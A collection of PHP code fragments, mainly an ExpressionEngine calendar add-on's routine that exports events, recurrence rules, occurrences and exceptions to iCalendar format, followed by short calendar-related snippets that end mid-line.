array(\n\t\t\t'rule_type',\n\t\t\t'rule_start_date',\n\t\t\t'rule_repeat_years',\n\t\t\t'rule_repeat_months',\n\t\t\t'rule_repeat_days',\n\t\t\t'rule_repeat_weeks',\n\t\t\t'rule_days_of_week',\n\t\t\t'rule_relative_dow',\n\t\t\t'rule_days_of_month',\n\t\t\t'rule_months_of_year',\n\t\t\t'rule_stop_by',\n\t\t\t'rule_stop_after'\n\t\t);\n\n\t\t$evars = array(\n\t\t\t'exception_start_date format=\"%Y%m%dT%H%i00\"'\n\t\t);\n\n\t\t$ovars = array(\n\t\t\t'occurrence_start_date format=\"%Y%m%dT%H%i00\"',\n\t\t\t'occurrence_end_date format=\"%Y%m%dT%H%i00\"'\n\t\t);\n\n\t\t//ee()->TMPL->log_item('Calendar: Preparing tagdata');\n\n\t\t$summary_field = ee()->TMPL->fetch_param('summary_field', 'event_title');\n\n\t\tee()->TMPL->tagdata =\timplode($s, array(\n\t\t\tLD . $summary_field . RD,\n\t\t\tLD . 'event_id' . RD,\n\t\t\tLD . 'if event_summary' . RD .\n\t\t\t\tLD . 'event_summary' . RD .\n\t\t\t\tLD . '/if' . RD,\n\t\t\tLD . 'if event_location' . RD .\n\t\t\t\tLD . 'event_location' . RD .\n\t\t\t\tLD . '/if' . RD,\n\t\t\tLD . 'event_start_date format=\"%Y\"' . RD,\n\t\t\tLD . 'event_start_date format=\"%m\"' . RD,\n\t\t\tLD . 'event_start_date format=\"%d\"' . RD,\n\t\t\tLD . 'event_start_date format=\"%H\"' . RD,\n\t\t\tLD . 'event_start_date format=\"%i\"' . RD,\n\t\t\tLD . 'event_end_date format=\"%Y\"' . RD,\n\t\t\tLD . 'event_end_date format=\"%m\"' . RD,\n\t\t\tLD . 'event_end_date format=\"%d\"' . RD,\n\t\t\tLD . 'event_end_date format=\"%H\"' . RD,\n\t\t\tLD . 'event_end_date format=\"%i\"' . RD,\n\t\t\tLD . 'event_calendar_tz_offset' . RD,\n\t\t\tLD . 'event_calendar_timezone' . RD,\n\t\t\t'RULES' .\n\t\t\t\tLD . 'if event_has_rules' . RD .\n\t\t\t\tLD . 'rules' . RD .\n\t\t\t\tLD . implode(RD . $r . LD, $rvars) . RD . '|' .\n\t\t\t\tLD . T_SLASH . 'rules' . RD .\n\t\t\t\tLD . '/if' . RD,\n\t\t\t'OCCURRENCES'.\n\t\t\t\tLD . 'if event_has_occurrences' . RD .\n\t\t\t\tLD . 'occurrences' . RD .\n\t\t\t\tLD . implode(RD . $r . LD, $ovars) . RD . '|' .\n\t\t\t\tLD . T_SLASH . 'occurrences' . RD .\n\t\t\t\tLD . '/if' . RD,\n\t\t\t'EXCEPTIONS'.\n\t\t\t\tLD . 'if event_has_exceptions' . RD .\n\t\t\t\tLD . 'exceptions' . RD .\n\t\t\t\tLD . implode(RD . $r . LD, $evars) . RD . '|' .\n\t\t\t\tLD . T_SLASH . 'exceptions' . RD .\n\t\t\t\tLD . '/if' . RD,\n\t\t\t$e\n\t\t));\n\n\t\t$tvars \t\t\t\t\t= ee()->functions->assign_variables(\n\t\t\tee()->TMPL->tagdata\n\t\t);\n\t\tee()->TMPL->var_single \t= $tvars['var_single'];\n\t\tee()->TMPL->var_pair \t= $tvars['var_pair'];\n\t\tee()->TMPL->tagdata \t= ee()->functions->prep_conditionals(\n\t\t\tee()->TMPL->tagdata,\n\t\t\tarray_keys($vars)\n\t\t);\n\n\t\t// -------------------------------------\n\t\t// Fire up events()\n\t\t// -------------------------------------\n\n\t\t//ee()->TMPL->log_item('Calendar: Firing up Events()');\n\n\t\t$tagdata = ee()->TMPL->advanced_conditionals($this->events());\n\n\t\t// -------------------------------------\n\t\t// Collect the events\n\t\t// -------------------------------------\n\n\t\t//ee()->TMPL->log_item('Calendar: Collecting events');\n\n\t\t$events = explode($e, $tagdata);\n\n\t\t// -------------------------------------\n\t\t// Fire up iCalCreator\n\t\t// -------------------------------------\n\n\t\t//ee()->TMPL->log_item('Calendar: Starting iCalCreator');\n\n\t\tif ( ! class_exists('vcalendar'))\n\t\t{\n\t\t\trequire_once 'libraries/icalcreator/iCalcreator.class.php';\n\t\t}\n\n\t\t$ICAL = new vcalendar();\n\n\t\t//we are setting this manually because we need individual ones for each event for this to work\n\t\t//$ICAL->setConfig('unique_id', parse_url(ee()->config->item('site_url'), PHP_URL_HOST));\n\t\t$host = parse_url(ee()->config->item('site_url'), PHP_URL_HOST);\n\n\n\t\t$vars = array_values($vars);\n\n\t\t//ee()->TMPL->log_item('Calendar: Iterating through the events');\n\n\t\tforeach ($events as $key => $event)\n\t\t{\n\t\t\tif (trim($event) == '') continue;\n\n\t\t\t$E \t\t\t\t= new vevent();\n\n\t\t\t$event \t\t\t= explode($s, $event);\n\t\t\t$rules \t\t\t= '';\n\t\t\t$occurrences \t= '';\n\t\t\t$exceptions \t= '';\n\n\t\t\tforeach ($event as $k => $v)\n\t\t\t{\n\t\t\t\tif (isset($vars[$k]))\n\t\t\t\t{\n\t\t\t\t\t//--------------------------------------------\n\t\t\t\t\t//\tMakes the local vars from above, if available:\n\t\t\t\t\t// \t$title, $summary, $location,\n\t\t\t\t\t// $start_year, $start_month, $start_day,\n\t\t\t\t\t// $start_hour, $start_minute, $end_year,\n\t\t\t\t\t// $end_month, $end_day, $end_hour,\n\t\t\t\t\t// \t$end_minute, $tz_offset, $timezone\n\t\t\t\t\t//--------------------------------------------\n\n\t\t\t\t\t$$vars[$k] = $v;\n\t\t\t\t}\n\t\t\t\telseif (substr($v, 0, 5) == 'RULES')\n\t\t\t\t{\n\t\t\t\t\t$rules = substr($v, 5);\n\t\t\t\t}\n\t\t\t\telseif (substr($v, 0, 11) == 'OCCURRENCES')\n\t\t\t\t{\n\t\t\t\t\t$occurrences = substr($v, 11);\n\t\t\t\t}\n\t\t\t\telseif (substr($v, 0, 10) == 'EXCEPTIONS')\n\t\t\t\t{\n\t\t\t\t\t$exceptions = substr($v, 10);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// -------------------------------------\n\t\t\t// Set the timezone for this calendar based on the first event's info\n\t\t\t// -------------------------------------\n\n\t\t\tif ($key == 0)\n\t\t\t{\n\t\t\t\t// -------------------------------------\n\t\t\t\t// Convert calendar_name to calendar_id\n\t\t\t\t// -------------------------------------\n\n\t\t\t\tif ($this->P->value('calendar_id') == '' AND\n\t\t\t\t\t$this->P->value('calendar_name') != '')\n\t\t\t\t{\n\t\t\t\t\t$ids = $this->data->get_calendar_id_from_name(\n\t\t\t\t\t\t$this->P->value('calendar_name'),\n\t\t\t\t\t\tNULL,\n\t\t\t\t\t\t$this->P->params['calendar_name']['details']['not']\n\t\t\t\t\t);\n\n\t\t\t\t\t$this->P->set('calendar_id', implode('|', $ids));\n\t\t\t\t}\n\n\t\t\t\t//--------------------------------------------\n\t\t\t\t//\tlets try to get the timezone from the\n\t\t\t\t//\tpassed calendar ID if there is one\n\t\t\t\t//--------------------------------------------\n\n\t\t\t\t$cal_timezone \t= FALSE;\n\t\t\t\t$cal_tz_offset \t= FALSE;\n\n\t\t\t\tif ($this->P->value('calendar_id') != '')\n\t\t\t\t{\n\t\t\t\t\t$sql = \"SELECT \ttz_offset, timezone\n\t\t\t\t\t\t\tFROM\texp_calendar_calendars\n\t\t\t\t\t\t\tWHERE \tcalendar_id\n\t\t\t\t\t\t\tIN \t\t(\" . ee()->db->escape_str(\n\t\t\t\t\t\t\t\t\t\t\timplode(',',\n\t\t\t\t\t\t\t\t\t\t\t\texplode('|',\n\t\t\t\t\t\t\t\t\t\t\t\t\t$this->P->value('calendar_id')\n\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t) .\n\t\t\t\t\t\t\t\t\t\")\n\t\t\t\t\t\t\tLIMIT\t1\";\n\n\t\t\t\t\t$cal_tz_query = ee()->db->query($sql);\n\n\t\t\t\t\tif ($cal_tz_query->num_rows() > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$cal_timezone \t= $cal_tz_query->row('timezone');\n\t\t\t\t\t\t$cal_tz_offset \t= $cal_tz_query->row('tz_offset');\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t//last resort, we get it from the current event\n\n\t\t\t\t$T = new vtimezone();\n\t\t\t\t$T->setProperty('tzid', ($cal_timezone ? $cal_timezone : $timezone));\n\t\t\t\t$T->setProperty('tzoffsetfrom', '+0000');\n\n\t\t\t\t$tzoffsetto = ($cal_tz_offset ? $cal_tz_offset : $tz_offset);\n\n\t\t\t\tif ($tzoffsetto === '0000')\n\t\t\t\t{\n\t\t\t\t\t$tzoffsetto = '+0000';\n\t\t\t\t}\n\n\t\t\t\t$T->setProperty('tzoffsetto', $tzoffsetto);\n\t\t\t\t$ICAL->setComponent($T);\n\t\t\t}\n\n\t\t\t$title\t\t\t= strip_tags($title);\n\t\t\t$description\t= strip_tags(trim($summary));\n\t\t\t$location\t\t= strip_tags(trim($location));\n\n\t\t\t// -------------------------------------\n\t\t\t// Occurrences?\n\t\t\t// -------------------------------------\n\n\t\t\t$occurrences\t= explode('|', rtrim($occurrences, '|'));\n\t\t\t$odata\t\t\t= array();\n\n\t\t\tforeach ($occurrences as $k => $occ)\n\t\t\t{\n\t\t\t\t$occ = trim($occ);\n\t\t\t\tif ($occ == '') continue;\n\n\t\t\t\t$occ = explode($r, $occ);\n\t\t\t\t$odata[$k][] = $occ[0];\n\t\t\t\t$odata[$k][] = $occ[1];\n\t\t\t}\n\n\t\t\t// -------------------------------------\n\t\t\t// Exceptions?\n\t\t\t// -------------------------------------\n\n\t\t\t$exceptions\t= explode('|', rtrim($exceptions, '|'));\n\t\t\t$exdata\t\t= array();\n\n\t\t\tforeach ($exceptions as $k => $exc)\n\t\t\t{\n\t\t\t\t$exc = trim($exc);\n\n\t\t\t\tif ($exc == '') continue;\n\n\t\t\t\t$exdata[] = $exc;\n\t\t\t}\n\n\t\t\t// -------------------------------------\n\t\t\t// Rules?\n\t\t\t// -------------------------------------\n\n\t\t\t$add_rules \t= FALSE;\n\t\t\t$erules \t= array();\n\t\t\t$rules \t\t= explode('|', rtrim($rules, '|'));\n\n\t\t\tforeach ($rules as $rule)\n\t\t\t{\n\t\t\t\t$temp = explode($r, $rule);\n\t\t\t\t$rule = array();\n\n\t\t\t\tforeach ($temp as $k => $v)\n\t\t\t\t{\n\t\t\t\t\tif ($v != FALSE) $add_rules = TRUE;\n\t\t\t\t\t$rule[substr($rvars[$k], 5)] = $v;\n\t\t\t\t}\n\n\t\t\t\tif ($add_rules === TRUE)\n\t\t\t\t{\n\t\t\t\t\t$temp = array();\n\n\t\t\t\t\tif ($rule['repeat_years'] > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$temp['FREQ'] = 'YEARLY';\n\n\t\t\t\t\t\tif ($rule['repeat_years'] > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp['INTERVAL'] = $rule['repeat_years'];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telseif ($rule['repeat_months'] > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$temp['FREQ'] = 'MONTHLY';\n\n\t\t\t\t\t\tif ($rule['repeat_months'] > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp['INTERVAL'] = $rule['repeat_months'];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telseif ($rule['repeat_weeks'] > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$temp['FREQ'] = 'WEEKLY';\n\n\t\t\t\t\t\tif ($rule['repeat_weeks'] > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp['INTERVAL'] = $rule['repeat_weeks'];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telseif ($rule['repeat_days'] > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$temp['FREQ'] = 'DAILY';\n\n\t\t\t\t\t\tif ($rule['repeat_days'] > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp['INTERVAL'] = $rule['repeat_days'];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($rule['months_of_year'] > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t//this flips keys to make 'c' => 12, etc\n\t\t\t\t\t\t$m = array_flip(array(\n\t\t\t\t\t\t\t1, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C'\n\t\t\t\t\t\t));\n\n\t\t\t\t\t\tif (strlen($rule['months_of_year'] > 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$months = str_split($rule['months_of_year']);\n\t\t\t\t\t\t\tforeach ($months as $month)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$temp['BYMONTH'][] = $m[$month] + 1;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp['BYMONTH'] = $m[$month] + 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($rule['days_of_month'] > '')\n\t\t\t\t\t{\n\t\t\t\t\t\t//this flips keys to make 'v' => 30, etc\n\t\t\t\t\t\t$d = array_flip(array(\n\t\t\t\t\t\t\t1, 2, 3, 4, 5, 6, 7, 8, 9,\n\t\t\t\t\t\t\t'A', 'B', 'C', 'D', 'E', 'F',\n\t\t\t\t\t\t\t'G', 'H', 'I', 'J', 'K', 'L',\n\t\t\t\t\t\t\t'M', 'N', 'O', 'P', 'Q', 'R',\n\t\t\t\t\t\t\t'S', 'T', 'U', 'V'\n\t\t\t\t\t\t));\n\n\t\t\t\t\t\tif (strlen($rule['days_of_month']) > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$days = str_split($rule['days_of_month']);\n\t\t\t\t\t\t\tforeach ($days as $day)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$temp['BYMONTHDAY'][] = $d[$day] + 1;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp['BYMONTHDAY'] = $d[$rule['days_of_month']] + 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($rule['days_of_week'] != '' OR $rule['days_of_week'] > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$d \t\t\t= array('SU','MO','TU','WE','TH','FR','SA');\n\t\t\t\t\t\t$d_letter \t= array('U','M','T','W','R','F','S');\n\n\t\t\t\t\t\t$dows \t\t= str_split($rule['days_of_week']);\n\n\t\t\t\t\t\tif ($rule['relative_dow'] > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$rels = str_split($rule['relative_dow']);\n\t\t\t\t\t\t\tforeach ($dows as $dow)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tforeach ($rels as $rel)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($rel == 6) $rel = -1;\n\t\t\t\t\t\t\t\t\t$temp['BYDAY'][] = $rel.$d[array_search($dow, $d_letter)];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tforeach ($dows as $dow)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$temp['BYDAY'][] = $d[array_search($dow, $d_letter)];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($rule['stop_after'] > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$temp['COUNT'] = $rule['stop_after'];\n\t\t\t\t\t}\n\t\t\t\t\telseif ($rule['stop_by'] > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t// TODO: Add time\n\t\t\t\t\t\t// TODO: The \"+1\" below is because the ical standard treats\n\t\t\t\t\t\t// \tUNTIL as \"less than\", not \"less than or equal to\" (which\n\t\t\t\t\t\t// \tis how Calendar treats stop_by). Double check that a simple\n\t\t\t\t\t\t// \t\"+1\" accurately addresses this difference.\n\t\t\t\t\t\t$temp['UNTIL'] = $rule['stop_by'] + 1;\n\t\t\t\t\t}\n\n\t\t\t\t\t$erules[] = $temp;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// -------------------------------------\n\t\t\t// Put it together\n\t\t\t// -------------------------------------\n\n\t\t\t//if this is all day we need to add the dates as params to the dstart and end items\n\t\t\tif ($this->_is_all_day($start_hour, $start_minute, $end_hour, $end_minute))\n\t\t\t{\n\t\t\t\t$E->setProperty(\n\t\t\t\t\t\"dtstart\" ,\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'year' \t=> $start_year,\n\t\t\t\t\t\t'month' => $start_month,\n\t\t\t\t\t\t'day'\t=> $start_day\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'VALUE' => 'DATE'\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t//--------------------------------------------\n\t\t\t\t//\twe need CDT so we can add a day\n\t\t\t\t//\tgcal, and ical are ok with this being the same day\n\t\t\t\t//\tstupid damned outlook barfs, hence the +1\n\t\t\t\t//\tthe +1 doesnt affect g/ical\n\t\t\t\t//--------------------------------------------\n\n\t\t\t\tif ( ! isset($this->CDT) OR ! is_object($this->CDT) )\n\t\t\t\t{\n\t\t\t\t\t$this->load_calendar_datetime();\n\t\t\t\t}\n\n\t\t\t\t$this->CDT->change_date(\n\t\t\t\t\t$end_year,\n\t\t\t\t\t$end_month,\n\t\t\t\t\t$end_day\n\t\t\t\t);\n\n\t\t\t\t$this->CDT->add_day();\n\n\t\t\t\t$E->setProperty(\n\t\t\t\t\t\"dtend\" ,\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'year' \t=> $this->CDT->year,\n\t\t\t\t\t\t'month' => $this->CDT->month,\n\t\t\t\t\t\t'day'\t=> $this->CDT->day\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'VALUE' => 'DATE'\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$E->setProperty('dtstart', $start_year, $start_month, $start_day, $start_hour, $start_minute, 00);\n\t\t\t\t$E->setProperty('dtend', $end_year, $end_month, $end_day, $end_hour, $end_minute, 00);\n\t\t\t}\n\n\t\t\t$E->setProperty('summary', $title);\n\n\t\t\tif ( ! empty($erules))\n\t\t\t{\n\t\t\t\tforeach ($erules as $rule)\n\t\t\t\t{\n\t\t\t\t\t$E->setProperty('rrule', $rule);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$extras = array();\n\t\t\t$edits\t= array();\n\n\t\t\tif ( ! empty($odata))\n\t\t\t{\n\t\t\t\t$query = ee()->db->query(\n\t\t\t\t\t\"SELECT *\n\t\t\t\t\t FROM\texp_calendar_events_occurrences\n\t\t\t\t\t WHERE\tevent_id = \" . ee()->db->escape_str($id)\n\t\t\t\t);\n\n\t\t\t\tforeach ($query->result_array() as $row)\n\t\t\t\t{\n\t\t\t\t\t//fix blank times\n\t\t\t\t\t$row['start_time'] \t= ($row['start_time'] == 0) ? '0000' \t: $row['start_time'];\n\t\t\t\t\t$row['end_time'] \t= ($row['end_time'] == 0) ? '2400' \t\t: $row['end_time'];\n\n\t\t\t\t\t//looks like an edited occurrence\n\t\t\t\t\t//edits without rules arent really edits.\n\t\t\t\t\tif ($row['event_id'] != $row['entry_id'] AND empty($rules))\n\t\t\t\t\t{\n\t\t\t\t\t\t$edits[] = $row;\n\t\t\t\t\t}\n\t\t\t\t\t//probably entered with the date picker or something\n\t\t\t\t\t//these loose occurences\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$extras[] = $row;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( ! empty($exdata))\n\t\t\t{\n\t\t\t\t$E->setProperty('exdate', $exdata);\n\t\t\t}\n\n\t\t\tif ($description != '') $E->setProperty('description', $description);\n\t\t\tif ($location != '') $E->setProperty('location', $location);\n\n\n\t\t\t$E->setProperty( \"uid\", $this->make_uid() . '@' . $host);\n\t\t\t$ICAL->setComponent($E);\n\n\t\t\t//--------------------------------------------\n\t\t\t//\tremove rules for subsequent items\n\t\t\t//--------------------------------------------\n\n\t\t\twhile( $E->deleteProperty( \"RRULE\" )) continue;\n\n\t\t\t//edits must come right after\n\t\t\tif ( ! empty($edits))\n\t\t\t{\n\t\t\t\tforeach ($edits as $edit)\n\t\t\t\t{\n\t\t\t\t\t$edit_date = array(\n\t\t\t\t\t\t\"year\" \t=> $edit['start_year'],\n\t\t\t\t\t\t\"month\" => $edit['start_month'],\n\t\t\t\t\t\t\"day\" \t=> $edit['start_day'] ,\n\t\t\t\t\t\t\"hour\" \t=> substr($edit['start_time'], 0, 2) ,\n\t\t\t\t\t\t\"min\" \t=> substr($edit['start_time'], 2, 2)\n\t\t\t\t\t);\n\n\t\t\t\t\t//if this is all day we need to add the dates as params to the dstart and end items\n\t\t\t\t\tif ($this->_is_all_day(\n\t\t\t\t\t\tsubstr($edit['start_time'], 0, 2),\n\t\t\t\t\t\tsubstr($edit['start_time'], 2, 2),\n\t\t\t\t\t\tsubstr($edit['end_time'], 0, 2),\n\t\t\t\t\t\tsubstr($edit['end_time'], 2, 2)\n\t\t\t\t\t ))\n\t\t\t\t\t{\n\t\t\t\t\t\t$E->setProperty(\n\t\t\t\t\t\t\t\"dtstart\" ,\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'year' \t=> $edit['start_year'],\n\t\t\t\t\t\t\t\t'month' => $edit['start_month'],\n\t\t\t\t\t\t\t\t'day'\t=> $edit['start_day']\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'VALUE' => 'DATE'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t//--------------------------------------------\n\t\t\t\t\t\t//\twe need CDT so we can add a day\n\t\t\t\t\t\t//\tgcal, and ical are ok with this being the same day\n\t\t\t\t\t\t//\tstupid damned outlook barfs, hence the +1\n\t\t\t\t\t\t//\tthe +1 doesnt affect g/ical\n\t\t\t\t\t\t//--------------------------------------------\n\n\t\t\t\t\t\tif ( ! isset($this->CDT) OR ! is_object($this->CDT) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->load_calendar_datetime();\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$this->CDT->change_date(\n\t\t\t\t\t\t\t$edit['end_year'],\n\t\t\t\t\t\t\t$edit['end_month'],\n\t\t\t\t\t\t\t$edit['end_day']\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t$this->CDT->add_day();\n\n\t\t\t\t\t\t$E->setProperty(\n\t\t\t\t\t\t\t\"dtend\" ,\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'year' \t=> $this->CDT->year,\n\t\t\t\t\t\t\t\t'month' => $this->CDT->month,\n\t\t\t\t\t\t\t\t'day'\t=> $this->CDT->day\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'VALUE' => 'DATE'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$E->setProperty(\n\t\t\t\t\t\t\t'dtstart',\n\t\t\t\t\t\t\t$edit_date['year'],\n\t\t\t\t\t\t\t$edit_date['month'],\n\t\t\t\t\t\t\t$edit_date['day'],\n\t\t\t\t\t\t\t$edit_date['hour'],\n\t\t\t\t\t\t\t$edit_date['min'],\n\t\t\t\t\t\t\t00\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t$E->setProperty(\n\t\t\t\t\t\t\t'dtend',\n\t\t\t\t\t\t\t$edit['end_year'],\n\t\t\t\t\t\t\t$edit['end_month'],\n\t\t\t\t\t\t\t$edit['end_day'] ,\n\t\t\t\t\t\t\tsubstr($edit['end_time'], 0, 2),\n\t\t\t\t\t\t\tsubstr($edit['end_time'], 2, 2),\n\t\t\t\t\t\t\t00\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\n\t\t\t\t\t$E->setProperty( \"RECURRENCE-ID\", $edit_date);\n\t\t\t\t\t$E->setProperty( \"uid\", $this->make_uid() . '@' . $host);\n\n\t\t\t\t\t$ICAL->setComponent($E);\n\t\t\t\t}\n\n\t\t\t\t//cleanup\n\t\t\t\t$E->deleteProperty(\"RECURRENCE-ID\");\n\n\t\t\t\t$E->setProperty('dtstart', $start_year, $start_month, $start_day, $start_hour, $start_minute, 00);\n\t\t\t\t$E->setProperty('dtend', $end_year, $end_month, $end_day, $end_hour, $end_minute, 00);\n\t\t\t}\n\n\t\t\t// these random ass add-in dates are non-standard to most cal creation\n\t\t\t// and need to be treated seperately as lumping don't work, dog\n\t\t\tif ( ! empty($extras))\n\t\t\t{\n\t\t\t\tforeach ($extras as $extra)\n\t\t\t\t{\n\n\t\t\t\t\t//if this is all day we need to add the dates as params to the dstart and end items\n\t\t\t\t\tif ($this->_is_all_day(\n\t\t\t\t\t\tsubstr($extra['start_time'], 0, 2),\n\t\t\t\t\t\tsubstr($extra['start_time'], 2, 2),\n\t\t\t\t\t\tsubstr($extra['end_time'], 0, 2),\n\t\t\t\t\t\tsubstr($extra['end_time'], 2, 2)\n\t\t\t\t\t ))\n\t\t\t\t\t{\n\t\t\t\t\t\t$E->setProperty(\n\t\t\t\t\t\t\t\"dtstart\" ,\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'year' \t=> $extra['start_year'],\n\t\t\t\t\t\t\t\t'month' => $extra['start_month'],\n\t\t\t\t\t\t\t\t'day'\t=> $extra['start_day']\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'VALUE' => 'DATE'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t//--------------------------------------------\n\t\t\t\t\t\t//\twe need CDT so we can add a day\n\t\t\t\t\t\t//\tgcal, and ical are ok with this being the same day\n\t\t\t\t\t\t//\tstupid damned outlook barfs, hence the +1\n\t\t\t\t\t\t//\tthe +1 doesnt affect g/ical\n\t\t\t\t\t\t//--------------------------------------------\n\n\t\t\t\t\t\tif ( ! isset($this->CDT) OR ! is_object($this->CDT) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->load_calendar_datetime();\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$this->CDT->change_date(\n\t\t\t\t\t\t\t$extra['end_year'],\n\t\t\t\t\t\t\t$extra['end_month'],\n\t\t\t\t\t\t\t$extra['end_day']\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t$this->CDT->add_day();\n\n\t\t\t\t\t\t$E->setProperty(\n\t\t\t\t\t\t\t\"dtend\" ,\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'year' \t=> $this->CDT->year,\n\t\t\t\t\t\t\t\t'month' => $this->CDT->month,\n\t\t\t\t\t\t\t\t'day'\t=> $this->CDT->day\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'VALUE' => 'DATE'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$E->setProperty(\n\t\t\t\t\t\t\t'dtstart',\n\t\t\t\t\t\t\t$extra['start_year'],\n\t\t\t\t\t\t\t$extra['start_month'],\n\t\t\t\t\t\t\t$extra['start_day'] ,\n\t\t\t\t\t\t\tsubstr($extra['start_time'], 0, 2),\n\t\t\t\t\t\t\tsubstr($extra['start_time'], 2, 2),\n\t\t\t\t\t\t\t00\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t$E->setProperty(\n\t\t\t\t\t\t\t'dtend',\n\t\t\t\t\t\t\t$extra['end_year'],\n\t\t\t\t\t\t\t$extra['end_month'],\n\t\t\t\t\t\t\t$extra['end_day'] ,\n\t\t\t\t\t\t\tsubstr($extra['end_time'], 0, 2),\n\t\t\t\t\t\t\tsubstr($extra['end_time'], 2, 2),\n\t\t\t\t\t\t\t00\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\n\t\t\t\t\t$E->setProperty( \"uid\", $this->make_uid() . '@' . $host);\n\t\t\t\t\t$ICAL->setComponent($E);\n\t\t\t\t}\n\n\t\t\t\t//clean in case we need to add more later\n\t\t\t\t$E->setProperty('dtstart', $start_year, $start_month, $start_day, $start_hour, $start_minute, 00);\n\t\t\t\t$E->setProperty('dtend', $end_year, $end_month, $end_day, $end_hour, $end_minute, 00);\n\t\t\t}\n\t\t}\n\t\t//return $ICAL->createCalendar();\n\t\treturn $ICAL->returnCalendar();\n\t}", "function get_calendar($initial = \\true, $display = \\true)\n {\n }", "public static function event() {\n return self::service()->get('events');\n }", "public function get_calendar() {\n $start = date('Y-m-d H:i:s', strtotime($this->input->post('start_date')));\n $end = date('Y-m-d H:i:s', strtotime($this->input->post('end_date')));\n $filter = $this->input->post('filter');\n if ($start && $end) {\n if (isset($filter) && !empty($filter) && !in_array($filter, config_item('event_types'))) {\n return $this->send_error('INVALID_FILTER');\n }\n $this->load->model('events_model');\n $where = array('start_date >=' => $start, 'end_date <=' => $end);\n if (isset($filter) && !empty($filter)) {\n $where['type'] = $filter;\n }\n if ($events = $this->events_model->get_all($where)) {\n setlocale(LC_TIME, 